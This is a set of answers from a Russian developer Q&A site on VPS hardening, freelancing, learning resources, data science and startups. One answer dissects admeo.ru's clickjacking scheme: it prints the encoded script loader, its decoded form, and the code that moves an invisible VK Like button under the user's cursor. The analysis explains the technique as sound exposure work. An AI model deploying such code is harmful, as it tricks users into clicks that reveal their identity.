• Минимальные настройки безопасности Linux на VPS?

    Tyranron
    @Tyranron
    Ряд моментов Вы уже сделали, но я все равно их опишу для полноты списка.

    1. Создать отдельного пользователя и хороший пароль на sudo. Не использовать больше root напрямую. Совсем.

    2. SSH. Отключаем метод аутентификации по паролю. Если Вам не нужны другие методы, то их тоже можно отключить, оставив только publickey. Отключаем возможность аутентификации root'ом. Включаем использование только 2й версии SSH протокола.

    3. Устанавливаем Fail2Ban и настраиваем чтобы после нескольких неуспешных попыток подключения по SSH банило по IP на длительное время. Кол-во попыток и время бана можно тюнить в меру своей паранойи. У меня, например, банит на час после 2х неуспешных попыток.

    4. Iptables. Действуем по принципу "запрещено все, что не разрешено". Запрещаем по умолчанию весь INPUT и FORWARD трафик снаружи. Открываем на INPUT'е 22 порт. В дальнейшем открываем порты/forwarding по мере необходимости. Если у нас предполагаются сервисы на соседних серверах нужные только для внутренней коммуникации (Memcached, Redis, и т.д.), то открываем для них порты только для определенных IP. Просто так торчать наружу для всех они не должны.

    5. Настраиваем автоматические обновления apt-пакетов. Уровень security. То есть так, чтобы обновления безопасности накатывались автоматически, но при этом не выполнялись обновления со сменой мажорной версии (дабы обезопасить себя от "само сломалось").

    6. Устанавливаем ntpd. Серверное время должно быть точным. Также временную зону сервера лучше всего установить в UTC.

    7. TLS (не SSL) используем везде где можем. Через Let's Encrypt получаем бесплатные валидные сертификаты. В конфигах веб-серверов, mail-серверов, и других приложений торчащих наружу (в том числе и OpenVPN), запрещаем/убираем использование слабых шифров. Все ключи/параметры генерируем не менее 2048 бит. Самоподписные сертификаты подписываем с помощью SHA-256 (не SHA-1). Diffie-Hellman параметры (dh.pem) под каждый сервис лучше сгенерить отдельно. Проверяем TLS сервисов через Nmap. Минимальный grade должен быть A, не должно быть warning'ов.

    8. Правильный менеджмент пользователей/групп. Приложения/сервисы не должны запускаться под root'ом (разве что они действительно этого требуют и иначе никак). Для каждого сервиса создается свой пользователь.

    9. Если предполагается upload файлов через PHP (либо другие скриптовые языки), в директории, куда эти файлы загружаются (и которая доступна снаружи), должно быть жестко отключено любое выполнение скриптов/бинарников, что на уровне ОС (x права), что на уровне веб-сервера.

    Это была база.
    Дальше, в меру своей паранойи можно за'harden'ить сервер ещё следующими моментами:
    - SELinux, chroot
    - доступ к SSH только с определенных IP (нужно иметь 3-4 VPN-сервера под рукой)

    UPD И да, все это помнить/настраивать руками каждый раз может быть запарно. Используйте Ansible и автоматизируйте процесс (там родные и YAML, Jinja2 и Python).
    Ответ написан
    10 комментариев
  • Как вы понимаете (исходя из своего опыта), что на заказ (на фрилансе) откликаться не стоит?

    @ehs
    Architect / 3d designer
    Есть еще хороший маркер - заказчик думает что лучше вас знает как делать работу, как частный случай - "This will take no more than an hour for a good professional"
    Ответ написан
    2 комментария
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Какие ресурсы с новостями по web-разработки вы знаете?

    edward04
    @edward04
    Начинающий ninja frontend
    smashingmagazing.com
    html5rocks.com
    сайт mdn
    блоги типа Пола Айриша и других ниндзя
    code.tutsplus.com/articles/33-developers-you-must-...

    dmitry.baranovskiy.com

    https://www.digitalocean.com/company/blog/20-devel...

    addyosmani.com/blog

    https://github.com/mr-mig/ru-it-chats

    css-live.ru

    www.webmonkey.com
    frontendfront.com

    Возможно что-то забыл или что-то не то кинул, е мое почему все попривыкали чтобы им на подносе все принесли, у вас что руки отсохли что ли, гуглить не умеете. Тем более по моему похожая тема была.

    Извините за бомб пукан, просто реально тостер превращается во что-то вроде : какая буква идет после г в алфавите.

    берете и гуглите, нет на русском - пишите по английски, не знаете буржуйский- есть гугл транслэйт.

    PS Извиняюсь за ошибки -писал в порыве гнева.
    Ответ написан
    16 комментариев
  • Как новичку найти клиентов на upwork и на что рассчитывать?

    Punkie
    @Punkie
    Почитайте блог: jff.name . В своё время он мне очень помог. И автор у него отзывчивый - всегда подскажет.
    Ответ написан
    1 комментарий
  • Какой протокол выбрать для кроссбраузерного мессенджера?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    Протокол - websocket.
    Плохая связь - Не забудьте про контроль отправки пакетов из браузера. (try-catch)
    Здесь же делается авто-восстановление соединения после потери интернет-соединения.
    Куда смотреть? (концептуально): примеры websocket и обработка событий в js.
    Ответ написан
    3 комментария
  • Как начать работать удаленно или фрилансить, если даже проекты по мизерной цене вызывают затруднения?

    MegaMufa
    @MegaMufa
    Я бы посоветовал вам устроиться на некоторое время работать в офис. Работа в команде очень сильно помогает поднять свой уровень. В этом есть несколько плюсов:
    1. У вас всегда под рукой есть ментор, который может подсказать как решить поставленую перед вами конкретную задачу. Знания, получаемые таким образом, усваиваются намного лучше. Вы лучше понимете, как применять свои навыки.
    2. К окманде работает несколько человек, каждый со своим мнением и кругозором. Общение на обеде, за кофе и на обсуждениях проектов поможет ваам расширить свой профессиональный кругозор. Вы узнаете про многие технологии. В данный момент они вам не понадобытся, но вы будете знать о них, во время принятия решений в будущем.
    3. Устраиваясь на работу в офис стажером (или новичком, в общем неопытным специализстом), вы ставите в известность своего работодателя. Он в замен на пониженый оклад (у начинающего программиста ЗП, конечно ниже), помогает вам обучаться, выделяя вам ментора и давая практику.
    4. Вы преобретаете опыт решения реальных кейсов. В дальнейшем вы будете знать, как решается большинство типовых задач.
    5. В спокойной, но реальной обстановке получите опыт обучения "на лету" и поиска нужного материала.

    Я, когда начинал, тоже страдал такой проблемой. Год работы в комманде из 7 программистов стал для меня сильнейшим рывком. За этот год я поднялся больше, чем за предядущие три года самообучения. Поработал, получил опыт (и кучу положительных эмоций от общения с коллегами), потом спокойно перешел на удаленку.

    Мой вам совет: поработайте некоторое время в команде.
    Ответ написан
    6 комментариев
  • Где найти рецепты сложных архитектур?

    @cthulhudx
    1)Yakov Fain, Victor Rasputnis, Viktor Gamov "Enterprise Web Development"
    enterprisewebbook.com (Разбирается обширное количество тем, в том числе SPA)
    2)Catalog of Patterns of Enterprise Application Architecture
    martinfowler.com/eaaCatalog
    3)Enterprise Integration Patterns: Designing, Building, and Deploying Messaging Solutions (Шаблоны интеграции корпоративных приложений) Мартина Фаулера
    4)Паттерны для масштабируемых JavaScript-приложений:
    largescalejs.ru
    Ответ написан
    Комментировать
  • Opensource проект?

    CyJimmy264
    @CyJimmy264
    Программист, психонавт
    Ответ написан
    Комментировать
  • Какой SMS шлюз выбрать для обработки в Rails App?

    MpaK999
    @MpaK999
    Буду!
    В одном из проектов использовал https://www.twilio.com/sms - впечатления самые наилучшие, очень просто и удобно.
    Ответ написан
    1 комментарий
  • Существуют ли заочные курсы или стажировка по анализу данных на русском языке?

    @lPolar
    data scientist
    ИМХО, тут есть несколько аспектов:
    1. Как написал brainick , математический бэкграунд и английский в data science практически обязателен.
    Причин этому несколько: отсутствие хорошей литературы на русском языке (как по теории, так и по программированию), обилие английских терминов (lift/top/cross-validation и прочие), значение которых в переводной литературе порой объяснятся весьма туманно.
    2. Если говорить о конкретной литературе, которую стоит почитать, я бы выделил несколько уровней:
    Уровень 0
    1. Бизнес-аналитика - Паклин, Орешков (самое базовое и обзорное введение)
    2. Статистика/Тервер ( по мне, хороши книги Айвазяна/Мхитаряна)
    3. SQL - в обязательном порядке. Мне в свое время помогла книга "SQL для простых смертных"
    4. Изучаем Python - М. Лутц (наиболее полная книга по языку, все что нужно для data science здесь точно есть)
    5. Программируем коллективный разум (к слову сказать, вот в этой книге отличный перевод)
    Уровень 1
    1. Математические основы машинного обучения и прогнозирования - Вьюгин (книга сложная, без подготовки по учебникам НМУ на тему анализа и линейной алгебры лучше не подходить)
    2. Python for Data Analysis (pandas во всей красе, тут нечего добавить)
    3. Примеры и статьи по построению моделей в sklearn - на хабре в последнее время часто мелькают статьи на эту тему, там все достаточно хорошо расписано.
    Уровень 2
    1. Hadoop и иже с ним ("Hadoop в действии", "Programming Pig")
    2. Apache Spark - достаточно почитать описание Python API.
    Тут есть еще один момент - не стоит слишком привязываться к одному языку и фреймворку.
    Одна из неприятных проблем python+pandas+sklearn заключается в том, что эта связка слабо масштабируется - при 2-3-4 гб данных становится сложно разместить их в оперативной памяти. Я знаю про chunk-reading+partial_fit, но точность таких моделей оставляет желать лучшего.
    С другой стороны, если обрабатывать эти данные в pyspark, то теряется все удобство pandas.DataFrame и так далее. Отрасль data science быстро развивается и обрастает новыми технологиями, так что нужно все время держать руку на пульсе.
    UPD: в spark 1.3 появились DataFrame.
    Ответ написан
    4 комментария
  • С чего начать изучение физики?

    Sergei_Erjemin
    @Sergei_Erjemin
    Улыбайся, будь самураем...
    Учебник шестого класса. Лучше старый советский...
    fremus.narod.ru/java/h01/index-book-fiz676.html
    Когда дойдешь до 10 класса переходишь на "Библиотечку Квант", "Эврику" и пр. научно-популярные книги. Через них узнаешь про нуклоны, кварки, мюзоны... возникновение селетонов и прочее любопытное...
    Ответ написан
    Комментировать
  • Где посмотреть ruby meetup'ы?

    если имеются ввиду meetup`ы, то можно здесь глянуть
    Ответ написан
    2 комментария
  • Как организовать работу программистов в стартапе если ты не программист?

    viktorvsk
    @viktorvsk
    1) Ваше понимание общей архитектуры - отстой (ознакомьтесь хотя бы с терминами, что бы не писать такие вещи)
    2) Ваше понимание об инструментах реализации - отстой (проекты делаются не инструментами, а разработчиками. А разработчики порой знают одни инструменты и совершенно не знакомы с другими. И в то же время остаются гениальными)
    3) Ваше понимание управления проектами - отстой (управленческая деятельность вообще показательна в плане того, что без практики от теории толк только отрицательный)
    4) Ваше желание распараллелить процесс старо как мир и само по себе не работает (почитайте Мифический человеко-месяц)
    5) Ваше желание оставить все в тайне (даже от разработчиков? :) ) - отстой. С ним более-менее успешно справляется разве что майкрософт.
    6) Идеи сами по себе - отстой, ничего не стоящие.
    7) Ваше желание выучить программирование ради проекта - не работает.

    Что делать, если есть непреодолимое желание замутить проект исходя из личной идеи (продиктованной рынком или нет? ... неординарная мысль в наше время, неправда ли?):
    1) Заразить своей идеей технически грамотного человека, которому вы сможете доверять процентов, эдак, на 99. И доверить техническу сторону ему.
    2) Найти инвестора, который по счастливой случайности не заметит, что вы не знаете, как нужно работать, взять у него денег и нанять менеджера, который знает, что делать и кому сколько платить.

    P.S. Разработка ПО - настолько широкая тема, что за более чем 40 лет серьезного коммерческого применения даже самые базовые части процесса не могут быть формализованы и решены универсально.

    Нельзя сказать, что нужно делать. Можно сказать, какой путь вероятнее всего будет предпочтительнее в данном конкретном случае (задача + контекст + команда + ресурсы).
    Ответ написан
    Комментировать
  • Как организовать работу программистов в стартапе если ты не программист?

    У меня была такая ситуация, косяки и затыки в проектах были постоянно. Решил просто: выучил программирование. Теперь:
    1. Если программист заламывает высокую цену - приземляю его
    2. Если программист говорит долгие сроки - ускоряю его
    3. Читать код можно только научившись писать код
    4. Я разбираюсь в архитектуре систем и оцениваю предлагаемые решения грамотно
    5. Ваша идея ничто, всем пох на неё

    Почитайте мой вопрос полугодовой давности, я не послушал всех этих людей и не жалею Можно ли стать эффективным менеджером проектов без знания программирования? и вообще слушайте тех у кого есть деньги, а не тех у кого их нет ))
    Ответ написан
    4 комментария
  • Как научиться вёрстке сайтов с нуля?

    @mishapsv
    Из собственного опыта:
    начинал с книг, статей, htmlbook - дало начальную базу, позволяло с большего править готовые шаблоны.
    Потом появились интерактивные курсы:
    - codecademy.com показались слабыми: пройти лишним не будет, но особо не продвинетесь.
    - teamtreehouse.com - неплохие курсы, активно развиваются, но платные.
    - htmlacademy.ru - очень крутые: отлично подается теория, много практики, основной раздел бесплатный. К тому же сервис русскоязычный.

    У этих же ребят есть интенсив по верстке сайтов с нуля. Прошел его.
    Если есть возможность оплатить - очень рекомендую. Реально вырастете за месяц. Плюс у вас останутся записи вебинаров и бесплатный доступ на все последующие интенсивы.
    Могу поделиться промо-кодом "344a1a5b"(без кавычек) - скидка 800р.

    Успехов!
    Ответ написан
    1 комментарий
  • Не могу найти синоним к слову логирование?

    Properrr
    @Properrr
    Журналирование
    Ответ написан
    Комментировать
  • Какую версию Rails использовать для разработки?

    omun
    @omun
    Уже есть книги для rails 4, так что будьте актуальны
    Ответ написан
    Комментировать